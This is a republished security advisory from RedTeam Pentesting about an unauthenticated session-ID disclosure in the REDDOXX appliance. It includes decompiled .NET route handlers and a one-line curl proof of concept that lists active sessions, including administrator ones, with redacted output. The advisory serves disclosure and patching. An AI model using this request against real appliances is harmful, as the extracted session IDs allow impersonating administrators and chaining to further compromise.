Lucene search
K

REDDOXX Appliance Session Identifier Extraction

🗓️ 24 Jul 2017 00:00:00Reported by redteam-pentesting.deType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 49 Views

Unauthenticated Extraction of Session-IDs in REDDOXX Appliance. Information disclosure vulnerability allows attackers to extract valid session IDs

Code
`Advisory: Unauthenticated Extraction of Session-IDs in REDDOXX Appliance  
  
RedTeam Pentesting discovered an information disclosure vulnerabilty in  
the REDDOXX appliance software, which allows unauthenticated attackers  
to extract valid session IDs.  
  
Details  
=======  
  
Product: REDDOXX Appliance  
Affected Versions: Build 2032 / v2.0.625, older versions likely affected too  
Fixed Versions: Version 2032 SP2  
Vulnerability Type: Information Disclosure  
Security Risk: high  
Vendor URL: https://www.reddoxx.com/  
Vendor Status: patch available  
Advisory URL: https://www.redteam-pentesting.de/advisories/rt-sa-2017-005  
Advisory Status: published  
CVE: GENERIC-MAP-NOMATCH  
CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=GENERIC-MAP-NOMATCH  
  
  
Introduction  
============  
  
"REDDOXX is a leading supplier of solutions for e-mail archiving,  
encrypted and digitally signed e-mail traffic as well as spam  
protection. Our focus is on technological innovation: taking our cue  
from our clientsa requirements our competent and quality-conscious  
employees strive to offer you the best possible products at all times.  
Using stringent quality standards and proven processes we keep  
developing our company and products continuously, with the goal of  
continuous improvement."  
  
(from the vendor's homepage)  
  
  
More Details  
============  
  
Through the ISO provided on the vendor's homepage [1], it was possible to  
analyze the files in a typical REDDOXX appliance [0] installation.  
Several API endpoints are defined in the Apache webserver configuration  
file /etc/apache2/sites-enabled/cust-000-reddoxx.conf:  
  
------------------------------------------------------------------------  
ProxyPass /RdxEngine/ http://localhost:8001/JSON/ retry=0  
ProxyPassReverse /RdxEngine/ http://localhost:8001/JSON/  
  
ProxyPass /RdxEngineBin/ http://localhost:8001/BIN/ retry=0  
ProxyPassReverse /RdxEngineBin/ http://localhost:8001/BIN/  
  
# New Rest API Version 1  
ProxyPass /api/v1/proxy/ http://localhost:4711/ retry=0  
ProxyPassReverse /api/v1/proxy/ http://localhost:4711/  
  
[...]  
------------------------------------------------------------------------  
  
The endpoint /api/v1/proxy, labelled "New Rest API Version 1", offers  
several routes, which can normaly only be used by administrators and  
require authentication.  
  
Through analysis of the .NET binaries pertaining to this endpoint,  
extracted from the appliance's ISO, the supported routes were examined.  
In general, the methods handling the routes look similar to the  
following:  
  
------------------------------------------------------------------------  
// Reddoxx.Rest.Proxy.Remote.Service.LegacyServiceProxy  
[Authenticate]  
public object Any(GetUserListRequest msg)  
{  
ApiCommand command = new ApiCommand("GetUserList");  
ApiResult apiResult = this.LegacyClient.SendCommand(command);  
[...]  
}  
------------------------------------------------------------------------  
  
Most of them contain, in particular, the attribute 'Authenticate'.  
RedTeam Pentesting assumes that this attribute is used to inform the  
underlying framework that authentication is required in order to access  
this method.  
  
During further analysis of the methods handling the routes, the method  
handling request messages of type 'GetSessionListRequest' was found:  
  
------------------------------------------------------------------------  
// Reddoxx.Rest.Proxy.Remote.Service.LegacyServiceProxy  
public object Any(GetSessionListRequest msg)  
{  
ApiCommand command = new ApiCommand("GetSessionsList");  
ApiResult apiResult = this.LegacyClient.SendCommand(command);  
[...]  
}  
------------------------------------------------------------------------  
  
This method returns a list of currently active sessions and did not  
contain the aforementioned attribute. Examination of the  
'GetSessionListRequest' type showed the route associated with the  
method:  
  
------------------------------------------------------------------------  
namespace Reddoxx.Rest.Proxy.Remote.Messages  
{  
[Route("/sessions", "GET")]  
public class GetSessionListRequest :  
IReturn<GetSessionListResponse>, IReturn  
{  
}  
}  
------------------------------------------------------------------------  
  
Accessing this route on the appliance yields a list of active sessions.  
No authentication is required for this access.  
  
  
Proof of Concept  
================  
  
The following curl command-line can be used to trigger the vulnerability  
and access the list of current sessions:  
  
------------------------------------------------------------------------  
$ curl --silent http://www.example.com/api/v1/proxy/sessions | jq .  
{  
"Data": [  
{  
"Id": "XXXXXXXX",  
"SessionType": "Console",  
"IPAddress": "127.0.0.1",  
"Details": "rdx-build-in-service-user@local"  
},  
{  
"Id": "XXXXXXXX",  
"SessionType": "Console",  
"IPAddress": "127.0.0.1",  
"Details": "rdx-build-in-service-user@local"  
},  
{  
"Id": "{XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX}",  
"SessionType": "WebService",  
"IPAddress": "",  
"Details": "rdx-build-in-service-user@local Last access: 22-5-17 10:26:17"  
},  
{  
"Id": "{XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX}",  
"SessionType": "WebService",  
"IPAddress": "",  
"Details": "Info@[...] Last access: 22-5-17 09:53:21"  
},  
{  
"Id": "{XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX}",  
"SessionType": "WebService",  
"IPAddress": "",  
"Details": "Administrator@[...] Last access: 22-5-17 10:09:30"  
},  
{  
"Id": "{XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX}",  
"SessionType": "WebService",  
"IPAddress": "",  
"Details": "rdx-build-in-service-user@local Last access: 22-5-17 10:11:19"  
},  
{  
"Id": "{XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX}",  
"SessionType": "WebService",  
"IPAddress": "",  
"Details": "rdx-build-in-service-user@local Last access: 22-5-17 13:13:19"  
}  
]  
}  
------------------------------------------------------------------------  
  
The tool jq [2] is used to format the JSON output returned by the  
appliance's API.  
  
  
Workaround  
==========  
  
None  
  
  
Fix  
===  
  
Update the appliance software to Version 2032 SP2.  
  
  
Security Risk  
=============  
  
The risk of this vulnerability is estimated to be high. The extracted  
session IDs can be used by attackers to impersonate the user associated  
with the ID when interacting with the appliance. An authenticated  
session is also a precondition to exploit the vulnerability described  
in rt-sa-2017-006 [3], which allows arbitrary file disclosure as root.  
  
  
Timeline  
========  
  
2017-05-16 Vulnerability identified  
2017-05-23 Customer approved disclosure of vulnerability  
2017-05-26 Customer provided details of vulnerability to vendor  
2017-06-21 Vulnerability reported as fixed by vendor  
2017-07-24 Advisory released  
  
  
References  
==========  
  
[0] https://www.reddoxx.com/en/  
[1] https://my.reddoxx.com/documents/manual/en/custdl/product-downloads  
(Requires login)  
[2] https://stedolan.github.io/jq/  
[3] https://www.redteam-pentesting.de/advisories/rt-sa-2017-006  
  
  
RedTeam Pentesting GmbH  
=======================  
  
RedTeam Pentesting offers individual penetration tests performed by a  
team of specialised IT-security experts. Hereby, security weaknesses in  
company networks or products are uncovered and can be fixed immediately.  
  
As there are only few experts in this field, RedTeam Pentesting wants to  
share its knowledge and enhance the public knowledge with research in  
security-related areas. The results are made available as public  
security advisories.  
  
More information about RedTeam Pentesting can be found at:  
https://www.redteam-pentesting.de/  
  
  
Working at RedTeam Pentesting  
=============================  
  
RedTeam Pentesting GmbH is looking for more penetration testers to join  
our team. If you are interested in working for RedTeam Pentesting in  
Aachen, please visit the respective section of our website.  
  
--   
RedTeam Pentesting GmbH Tel.: +49 241 510081-0  
Dennewartstr. 25-27 Fax : +49 241 510081-99  
52068 Aachen https://www.redteam-pentesting.de  
Germany Registergericht: Aachen HRB 14004  
GeschA$?ftsfA1/4hrer: Patrick Hof, Jens Liebchen  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation